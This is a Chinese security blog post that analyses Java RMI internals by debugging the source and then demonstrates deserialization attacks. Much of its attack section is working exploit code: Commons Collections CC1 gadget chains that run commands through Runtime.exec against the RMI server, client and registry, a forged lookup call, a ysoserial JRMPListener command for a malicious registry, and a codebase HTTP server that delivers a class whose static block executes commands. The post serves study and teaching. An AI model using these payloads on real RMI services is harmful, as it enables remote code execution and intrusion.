RMI 漏洞分析

发布时间 2023-12-06 22:38:02作者: Jasper_sec

前言

时间有限,目前只跟完了RMI的源码分析部分,攻击和绕过只有下周再来了。
不过跟源码也已经发现了一些有意思的反序列化点,也算是为后面学习打基础了。

更新:RMI的攻击分析也差不多结束了,还差JEP290的绕过不太想看,我要去修手机了。

源码分析

看了一些师傅的文章,发现RMI交互这块内容写得都异常混乱,大篇幅的文字,很容易看得云里雾里。
这里我按照下图标号的顺序,依次调试每一块代码,并对代码进行标注,希望能对师傅们有所帮助。

推荐先看完组长的视频,自己跟着调一遍,此时可能会感觉云里雾里、不知所云,这是正常的;
接着再看素十八师傅的博客,主要是源码分析这一块,再调试一遍,基本就能掌握了。

一图胜千言

1.png

服务端创建注册中心

image.png
创建RegistryImpl对象
image.png
image.png
setup#UnicastServerRef#exportObject暴露RegistryImpl对象
image.png
image.png
LiveRef#exportObject暴露Target对象,三层套娃。
LiveRef#exportObject(Target target)
image.png
TCPEndpoint#exportObject(Target target)
image.png
TCPTransport#exportObject(Target target)
image.png
最后,把封装了RegiseryImpl_Stub的Target记录进hashtable里,至此注册中心创建完成。
image.pngimage.png

服务端创建远程对象

image.png
创建RemoteObjectImpl对象
image.png
调用父类UnicastRemoteObject构造函数,二层套娃。
image.png
image.png
UnicastRemoteObject#exportObject暴露RemoteObjectImpl对象,二重套娃。
image.png
image.png
UnicastServerRef#exportObject暴露RemoteObjectImpl对象
image.png
LiveRef#exportObject暴露Target对象,三层套娃。
LiveRef#exportObject(Target target)
image.png
TCPEndpoint#exportObject(Target target)
image.png
TCPTransport#exportObject(Target target)
image.png
最后,把封装了RemoteObjectImpl_Stub的Target记录进hashtable里,至此远程对象创建完成。
image.png
image.png

服务端远程对象绑定注册中心

image.png
调用RegistryImpl_Stub#bind()绑定远程对象与名称,将name和对应obj存入bindings,绑定过程到此结束。
image.png

注册中心接受并处理服务端绑定请求

注册中心通过TCPTransport#handleMessages处理服务端发过来的绑定相关的请求。
image.png
由于是注册中心代理对象,套娃调oldDispatch处理分发请求
image.png
再套娃调用RegistryImpl_Skel#dispatch方法,这个方法真正处理服务端发过来的绑定请求
image.png
反序例化服务端传过来的bind(name, remote)里的name和remote,这里如果传恶意remote对象则存在漏洞
image.png

客户端获取注册中心代理对象

image.png
套娃一层getRegistry,函数重载
image.png
根据host/ip封装LiveRef和UnicastRef
image.png
通过Ref和RegistryImpl来创建注册中心的代理对象
image.png
到此为止,注册中心的代理对象就创建完毕了。
image.png

客户端通过注册中心代理查找远程对象

image.png
调用RegistryImpl_Stub#lookup获取查找的远程对象的代理
下面这里直接return var23,返回反序列化后的远程对象的代理
image.png

注册中心收到查询请求并返回远程对象的代理

这里开始涉及C/S交互,首先DEBUG起一个RMIServer,断点打在TCPTransport#handleMessages,
这个函数专门用于处理请求信息,然后运行RMIClient,由于执行了lookup方法,所以能命中断点开始调试。
image.png
调用serviceCall进一步处理网络请求信息,最后调用到UnicastServerRef#dispatch
image.png
这里套娃调用UnicastServerRef#oldDispatch
image.png
再套娃调用skel#dispatch,最终肯定是通过服务端的代理skel来处理网络请求的
image.png
调用RegistryImpl_Skel#dispatch,获取Client传过来的name,另外新建RegistryImpl,在Server端本地调用RegistryImpl.lookup(name),获取返回的远程对象,序列化写回网络连接中,传给Client。
image.png

客户端调用远程对象的方法并获取返回结果

同样涉及C/S交互,不过这里DEBUG的是Client,Server正常运行起就行,Client DEBUG启动。
image.png
Client获取的是远程对象的动态代理stub,它调用任意方法都会走到invoke里
三层套娃调用
image.png
image.png
最后一层,真正进行C/S交互,客户端调用远程对象方法,并且从Server端获取到返回值。
image.png
image.png
至此,Client调用远程对象的方法结束。

服务端接收调用函数请求并返回执行结果

Server还是断在TCPTransport#handleMessages,DEBUG起Server,正常运行起Client。
handleMessages会获取很多请求,像是之前注册中心的lookup,这里多跳几下就能到调用方法的请求了。
image.png
调用serviceCall进一步处理网络请求信息,最后调用到UnicastServerRef#dispatch
image.png
UnicastServerRef#dispatch,真正处理网络请求,并且返回响应的函数。
与调用lookup的不同之处如下
image.png
主要逻辑如下
image.png
至此,服务端完成接受客户端调用(传参)、本地执行函数、返回执行结果这个过程。

RMI的攻击面

客户端攻击服务端

攻击原理:Client调用远程对象的方法的时候,会把参数序列化传到Server端,Server端会反序例化传进来的参数
这里需要Interface里有参数为非基本类型的函数。
详情见:服务端接收调用函数请求并返回执行结果
下面是客户端和服务端的代码,推荐客户端和服务端放在两个不同的工程下。

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulFunc(Object o) throws RemoteException;
    // public void vulFunc(HelloObject o) throws RemoteException;
}
public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public void vulFunc(Object o) throws RemoteException {

    }

    // @Override
    // public void vulFunc(HelloObject o) throws RemoteException {

    // }
}

public class RMIServer {
    public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, MalformedURLException, AlreadyBoundException {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulFunc(Object o) throws RemoteException;
    // public void vulFunc(HelloObject o) throws RemoteException;
}
public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1.get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // invoke the method of remote object
        stub.vulFunc(getCCPayload());
    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
}

先运行Server端启动代码,再运行Client端启动代码,成功执行CC1。
image.png
上面是攻击的是参数为Object类型的漏洞函数,因为基本类型不会走反序列化,是可以成功的。
但是要求Server端存在一个参数为Object的函数,攻击面还不够广,于是我们思考,如果Server端的接口里的漏洞函数的参数是自定义的HelloObject类,而服务端接口的参数我们还是传Object,是否能够利用成功?

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    // public void vulFunc(Object o) throws RemoteException;
    public void vulFunc(HelloObject o) throws RemoteException;
}
public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    // @Override
    // public void vulFunc(Object o) throws RemoteException {

    // }

    @Override
    public void vulFunc(HelloObject o) throws RemoteException {

    }
}

public class RMIServer {
    public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, MalformedURLException, AlreadyBoundException {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulFunc(Object o) throws RemoteException;
    public void vulFunc(HelloObject o) throws RemoteException;
}
public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1.get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // invoke the method of remote object
        stub.vulFunc(getCCPayload());
    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
}

先运行Server端启动代码,再运行Client端启动代码,发现报下面的错误:
image.png
看报错很简单,Server端不支持Object类型参数的函数,那是不是就利用不了了?
不卖关子,在这个PPT中介绍了4种方式,绕过判断实现反序列化,这里我们选最简单的debugger方法。
正常启动Server端启动代码,DEBUG启动Client端启动代码,hook点在invokeRemoteMethod
右键method,点击Evaluate Expression,会弹出修改method的对话框
image.png
把method改成参数为HelloObject类型的漏洞函数,点击Evaluate赋值。
注意:这里能改是因为Client端的接口既写了参数Object的函数,又写了参数HelloObject的函数
image.png
一路consume,也成功执行CC1代码。
image.png

服务端攻击客户端

攻击原理:客户端调用远程对象的函数,函数在服务端执行完毕以后,函数的返回结果会在服务端序列化,通过网络连接传输,再在客户端反序列化,那么如果恶意的服务端返回一个恶意的函数执行结果,客户端就会受到反序列化攻击。和客户端攻击服务端是同一个流程下的问题。
详情见:客户端调用远程对象的方法并获取返回结果

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulFunc() throws Exception;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public Object vulFunc() throws Exception{
        return getCCPayload();
    }
    public static Object getCCPayload()throws Exception{
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }

}

public class RMIServer {
    public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, MalformedURLException, AlreadyBoundException {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulFunc() throws RemoteException;
}

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;

import java.io.FileOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        stub.vulFunc();
    }
}

先运行Server端的启动代码,再运行Client端的启动代码,成功执行CC1命令。
image.png

客户端攻击注册中心

攻击原理:客户端主要是lookup和unbind,这两个函数接收一个客户端传过来的String类型的参数,然后去查找对应的绑定的远程对象是否存在,但是实际上,注册中心是先把传过来的String类型参数反序列化,再进行类型转换的,在类型转换之前反序列化攻击就可以完成,那么我们如果lookup传一个恶意对象,注册中心就会反序列化RCE。
详情见:注册中心收到查询请求并返回远程对象的代理
需要注意的是,lookup方法本身并不支持传输一个恶意对象,所以需要我们自己实现封装一个lookup方法。

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }
}

public class RMIServer {
    public static void main(String[] args) throws Exception {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
}

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
//        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        fakeLookup(registry);
        // 3. invoke the method of remote object
//        stub.sayHello("I'm jasper you motherfucker.");

    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
    public static void fakeLookup(Registry registry) throws Exception {
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(getCCPayload());
        ref.invoke(var2);
    }

先运行Server端启动代码,再运行Client端启动代码模仿lookup操作,成功执行CC1。
image.png

服务端攻击注册中心

攻击原理:和客户端差不多,服务端主要使用bind函数把远程对象序列化的方式传给注册中心,注册中心通过网络连接对其反序列化,那么如果服务端bind的时候传一个恶意对象,就会导致注册中心反序列化触发RCE。
详情见:注册中心接受并处理服务端绑定请求
这里还有个问题,bind函数的参数要求是Remote类型的,而我们CC链构造的是Object类型的,这里我们用到的是动态代理,把恶意对象封装成Remote类型的动态代理对象传进去。

public class RMIServer {
    public static void main(String[] args) throws Exception {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        	// dynamic proxy cast to Remote type
        Object evilObject = getCCPayload();
        Remote remoteObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, (InvocationHandler) evilObject));
        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);

    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
}

运行Server端启动代码,成功执行CC1.
image.png

注册中心攻击客户/服务端

攻击原理:这里实际上是利用JRMP协议进行攻击,也就是RMI中的网络通信协议,它在建立连接的时候,注册中心会给请求连接的一端(Server/Client)发送一些序列化的数据,然后请求连接的一段对其进行反序列化。
这就意味着,只要服务端或者客户端获取到 Registry,并且执行了list、unbind、lookup 、rebind、bind方法之一,自身就会被RCE。
本质上其实是JRMP协议的服务端对JRMP协议的客户端的攻击。
这里我们在终端,用ysoserial起一个恶意注册中心:

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'

以Client端为例,让Client端获取到恶意注册中心的代理对象,同时执行lookup

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("10.202.12.129", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        //        stub.sayHello("I'm jasper you motherfucker.");
    }
}

成功RCE,执行CC6并且弹出计算器
image.png
服务端同理,不再演示。

动态类加载

攻击原理:java.rmi.server.codebase简单来说就是远程的classpath,当RMI的流程出现本地加载不到类的时候,会选择从codebase去加载,也就是远程include代码,显然存在很大漏洞隐患,触发加载远程类有下面的情况:

  • Server端函数的返回类型为接口定义类型的子类,Client端接收返回结果时找不到子类
  • Client端传参时传接口定义类型的子类,Server端接收参数时找不到子类

注意:无论是客户端还是服务端要远程加载类,都需要满足以下条件:

  • java.rmi.server.useCodebaseOnly 要设置为false,从JDK 6u45、7u21开始的默认值就是true
  • 配置policy文件规则,允许从远程加载类库
  • 配置RMISecurityManager

攻击Client端

public class HTTPServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HTTPServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HTTPServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}
public class ExportObject implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;

    static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过有其他方式外带数据,可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中
        try {
            exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulnFunc()throws RemoteException;
}
public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public ExportObject vulnFunc() throws RemoteException {
        return new ExportObject();
    }
}

public class ExportObject implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
public class RMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Remote Server start...");

        // 设置codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectImpl remoteObject = new RemoteObjectImpl();
        // 3.bind the remote object to the registry
        Naming.rebind("rmi://127.0.0.1:1099/remoteObject", remoteObject);

    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulnFunc()throws RemoteException;
}
public class RMIClient {
    public static void main(String[] args) throws Exception {
        // JDK 6u45、7u21之后,需要设置useCodebaseOnly
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        // 配置policy文件以允许从远程加载类库
        System.setProperty("java.security.policy","D://java.policy");
        // 开启RMISecurityManager
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        stub.vulnFunc();
    }
}

grant {
    permission java.security.AllPermission;
};

先运行HTTPServer启动代码,起一个codebase,然后运行Server端启动代码,再运行Client端启动代码
成功执行HTTPServer的恶意返回结果子类的静态代码块。
image.png

攻击Server端

public class HTTPServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HTTPServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HTTPServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}
public class ExportObject implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;

    static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过有其他方式外带数据,可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中
        try {
            exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulnFunc(HelloObject helloObject)throws RemoteException;
}
public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface {

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public void vulnFunc(HelloObject helloObject) throws RemoteException {
    }
}


public class HelloObject {
}
public class RMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Remote Server start...");
        // JDK 6u45、7u21之后,需要设置useCodebaseOnly
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        // 配置policy文件以允许从远程加载类库
        System.setProperty("java.security.policy","D://java.policy");
        // 开启RMISecurityManager
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);
        // 设置codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");


        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);
        // 2.generate remote object
        RemoteObjectImpl remoteObject = new RemoteObjectImpl();
        // 3.bind the remote object to the registry
        Naming.rebind("rmi://127.0.0.1:1099/remoteObject", remoteObject);

    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulnFunc(HelloObject helloObject)throws RemoteException;
}

public class HelloObject {
}
public class ExportObject extends HelloObject implements ObjectFactory, Serializable {
    private static final long serialVersionUID = 4474289574195395731L;

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

public class RMIClient {
    public static void main(String[] args) throws Exception {

        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        ExportObject exportObject = new ExportObject();
        stub.vulnFunc(exportObject);
    }
}

首先运行HTTPServer启动代码,起一个codebase,然后运行Server端启动代码,再运行Client端启动代码
成功执行HTTPServer的恶意参数子类的静态代码块。
image.png

JEP290 绕过

TODO

参考链接

源码分析
https://www.bilibili.com/video/BV1L3411a7ax
https://su18.org/post/rmi-attack
https://tttang.com/archive/1530/
